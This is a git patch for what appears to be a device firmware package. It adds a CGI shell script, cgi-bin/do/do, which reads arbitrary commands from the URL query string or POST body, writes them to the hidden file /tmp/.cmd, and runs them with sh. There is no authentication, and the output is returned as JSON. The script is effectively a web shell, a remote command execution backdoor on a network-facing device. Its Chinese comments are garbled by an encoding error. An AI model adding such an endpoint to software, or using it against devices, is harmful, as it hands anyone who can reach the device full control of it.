From 3b8fc624b660a32a9608e85c373cb6ae1a316bbd Mon Sep 17 00:00:00 2001
From: wuwei <wuquan-1230@q63.com>
Date: 星期五, 13 六月 2025 10:05:46 +0800
Subject: [PATCH] Merge branch 'master' of http://124.71.187.17:8299/r/~lgq/IGD5300-package

---
 local/www/cgi-bin/do/do |   42 ++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 42 insertions(+), 0 deletions(-)

diff --git a/local/www/cgi-bin/do/do b/local/www/cgi-bin/do/do
new file mode 100755
index 0000000..dfa1e27
--- /dev/null
+++ b/local/www/cgi-bin/do/do
@@ -0,0 +1,42 @@
+#!/bin/sh
+#鎵цURL鐨勫弬鏁板懡浠�
+#渚嬶細http://192.168.1.123/cgi-bin/do/do?sqlite3 /work/iot_cfg.db "select * from alarm"
+export PATH=/sbin:/usr/sbin:$PATH
+echo -en "Content-type: text/html; charset=utf-8\n\n"
+#*****************************************************
+source ../bin/env.sh
+db="../bin/db"
+jsoner="../bin/jsoner"
+
+# 1. 鑾峰彇鍙傛暟閫昏緫
+if [ "$REQUEST_METHOD" = "GET" ]; then
+    # 浠嶶RL鑾峰彇鍙傛暟锛堟牸寮忥細?key=value锛�
+    params="$QUERY_STRING"  # 鍐呯疆鐜鍙橀噺[5,7](@ref)
+elif [ "$REQUEST_METHOD" = "POST" ]; then
+    # 浠庢爣鍑嗚緭鍏ヨ鍙朠OST鏁版嵁
+    read -t 5 params  # 5绉掕秴鏃堕槻姝㈤樆濉瀃6](@ref)
+else
+    echo "error: Unsupported method"
+    exit 1
+fi
+
+# 2. 鍙傛暟楠岃瘉涓庤緭鍑�
+if [ -z "$params" ]; then
+    echo "error: No parameters received"
+else
+    # 绠�鏄撹В鐮佸鐞嗭紙绌烘牸鍜岀壒娈婂瓧绗︼級
+    decoded_params=$(echo "$params" | sed -e 's/%20/ /g' -e 's/%22/"/g' -e 's/%2F/\//g' -e 's/+/ /g')
+    # 鍛戒护瀛楃涓插啓鍏ユ枃浠�
+    echo "$decoded_params" > /tmp/.cmd
+fi
+
+#3. 鎵ц鍛戒护
+data=`sh /tmp/.cmd`
+
+if [ $? -eq 0 ]
+then
+    echo  "{\"code\":\"success\",\"result\":\"$data\"}"
+else
+	echo "{\"code\":\"error\",\"result\":\"$data\"}"
+fi
+

--
Gitblit v1.9.3